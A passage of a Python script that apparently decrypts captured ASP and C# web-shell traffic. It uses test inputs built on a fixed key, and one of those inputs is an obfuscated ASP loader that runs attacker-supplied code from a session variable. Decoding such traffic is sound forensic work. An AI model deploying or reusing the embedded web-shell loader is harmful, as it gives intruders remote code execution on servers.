338 | data = decrypter.decrypt_req_payload(b'pass=0mQU%2BS1pFnTz3ttVTnAgJVD%2FaBwD3NNXL3TfTExo1weKu4KAhhCu6Gn1EQfX1m9g')
339 | print(data)
340 | data = decrypter.decrypt_res_payload(
341 | b'11CD6A8758984163LF/IpkPvM0iJI4wmpBs2DaoBVvcbDMpwuL7nYS3n/k4=6C37AC826A2A04BC')
342 | print(data)
343 |
344 |
345 | decrypter = ASP_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
346 | data = decrypter.decrypt_req_payload(b"pass=bWV0aG9kTmFtZQIEAAAAdGVzdA%3D%3D")
347 | print(data)
348 | data = decrypter.decrypt_res_payload(b"11cd6ab2s=ac826a")
349 | print(data)
350 |
351 | decrypter = ASP_RAW(pass_='pass', key='3c6e0b8a9c15224a')
352 | data = decrypter.decrypt_req_payload(b"methodName\x02\x04\x00\x00\x00test")
353 | print(data)
354 | data = decrypter.decrypt_res_payload(b"ok")
355 | print(data)
356 |
357 | decrypter = ASP_EVAL_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
358 | data = decrypter.decrypt_req_payload(b"pass=eval%28%22Ex%22%26cHr%28101%29%26%22cute%28%22%22Server.ScriptTimeout%3D3600%3AOn+Error+Resume+Next%3AFunction+bd%28byVal+s%29%3AFor+i%3D1+To+Len%28s%29+Step+2%3Ac%3DMid%28s%2Ci%2C2%29%3AIf+IsNumeric%28Mid%28s%2Ci%2C1%29%29+Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd+If%22%22%26chr%2810%29%26%22%22Next%3AEnd+Function%3AEx%22%26cHr%28101%29%26%22cute%28%22%22%22%22On+Error+Resume+Next%3A%22%22%22%22%26bd%28%22%22%22%220d0a5365742062797061737344696374696f6e617279203d205365727665722e4372656174654f626a6563742822536372697074696e672e44696374696f6e61727922290d0a0d0a46756e6374696f6e204261736536344465636f646528427956616c2076436f6465290d0a2020202044696d206f584d4c2c206f4e6f64650d0a20202020536574206f584d4c203d204372656174654f626a65637428224d73786d6c322e444f4d446f63756d656e742e332e3022290d0a20202020536574206f4e6f6465203d206f584d4c2e437265617465456c656d656e74282262617365363422290d0a202020206f4e6f64652e6461746154797065203d202262696e2e626173653634220d0a202020206f4e6f64652e74657874203d2076436f64650d0a202020204261736536344465636f6465203d206f4e6f64652e6e6f6465547970656456616c75650d0a20202020536574206f4e6f6465203d204e6f7468696e670d0a20202020536574206f584d4c203d204e6f7468696e670d0a456e642046756e6374696f6e0d0a0d0a46756e6374696f6e2064656372797074696f6e28636f6e74656e742c697342696e290d0a2020202064696d2073697a652c692c726573756c742c6b657953697a650d0a202020206b657953697a65203d206c656e286b6579290d0a202020205365742042696e61727953747265616d203d204372656174654f626a656374282241444f44422e53747265616d22290d0a2020202042696e61727953747265616d2e43686172536574203d202269736f2d383835392d31220d0a2020202042696e61727953747265616d2e54797065203d20320d0a2020202042696e61727953747265616d2e4f70656e0d0a202020206966204973417272617928636f6e74656e7429207468656e0d0a202020202020202073697a653d55426f756e6428636f6e74656e74292b310d0a2020202020202020466f7220693d3120546f2073697a650d0a20202020202020202020202042696e61727953747265616d2e57726974655465787420636872772861736362286d69646228636f6e74656e742c692c312929290d0a20202020202020204e6578740d0a20202020656e642069660d0a2020202042696e61727953747265616d2e506f736974696f6e203d20300d0a20202020696620697342696e207468656e0d0a202020202020202042696e61727953747265616d2e54797065203d20310d0a202020202020202064656372797074696f6e3d42696e61727953747265616d2e5265616428290d0a20202020656c73650d0a202020202020202064656372797074696f6e3d42696e61727953747265616d2e526561645465787428290d0a20202020656e642069660d0a0d0a456e642046756e6374696f6e0d0a20202020636f6e74656e743d726571756573742e466f726d28226b657922290d0a202020206966206e6f74204973456d70747928636f6e74656e7429207468656e0d0a0d0a2020202020202020696620204973456d7074792853657373696f6e28227061796c6f6164222929207468656e0d0a202020202020202020202020636f6e74656e743d64656372797074696f6e284261736536344465636f646528636f6e74656e74292c66616c7365290d0a20202020202020202020202053657373696f6e28227061796c6f616422293d636f6e74656e740d0a202020202020202020202020726573706f6e73652e456e640d0a2020202020202020656c73650d0a202020202020202020202020636f6e74656e743d4261736536344465636f646528636f6e74656e74290d0a20202020202020202020202062797061737344696374696f6e6172792e41646420227061796c6f6164222c53657373696f6e28227061796c6f616422290d0a202020202020202020202020457865637574652862797061737344696374696f6e61727928227061796c6f61642229290d0a202020202020202020202020726573756c743d72756e28636f6e74656e74290d0a202020202020202020202020726573706f6e73652e5772697465282238323831333022290d0a2020202020202020202020206966206e6f74204973456d70747928726573756c7429207468656e0d0a20202020202020202020202020202020726573706f6e73652e577269746520426173653634456e636f64652864656372797074696f6e28726573756c742c7472756529290d0a202020202020202020202020656e642069660d0a202020202020202020202020726573706f6e73652e5772697465282232306562626322290d0a2020202020202020656e642069660d0a20202020656e642069660d0a0d0a%22%22%22%22%29%29%3AResponse.End%22%22%29%22%29%0D%0A&key=bWV0aG9kTmFtZQIEAAAAdGVzdA%3D%3D")
359 | print(data)
360 | data = decrypter.decrypt_res_payload(b"828130b2s=20ebbc")
361 | print(data)
362 |
363 |
364 | decrypter = ASP_XOR_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
365 | data = decrypter.decrypt_req_payload(b"pass=DlMRWA1cL1gOVDc2MjRhRwZFEQ%3D%3D")
366 | print(data)
367 | data = decrypter.decrypt_res_payload(b"11cd6aDF0=ac826a")
368 | print(data)
369 |
370 | decrypter = ASP_XOR_RAW(pass_='pass', key='3c6e0b8a9c15224a')
371 | asp_xor_raw_req = '0e5311580d5c2f580e54373632346147064511'
372 | asp_xor_raw_res = '0c5d'
373 | data = decrypter.decrypt_req_payload(bytes(bytearray.fromhex(asp_xor_raw_req)))
374 | print(data)
375 | data = decrypter.decrypt_res_payload(bytes(bytearray.fromhex(asp_xor_raw_res)))
376 | print(data)
377 |
378 | # decrypter = CSHAP_AES_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
379 | # data = decrypter.decrypt_req_payload(b'pass=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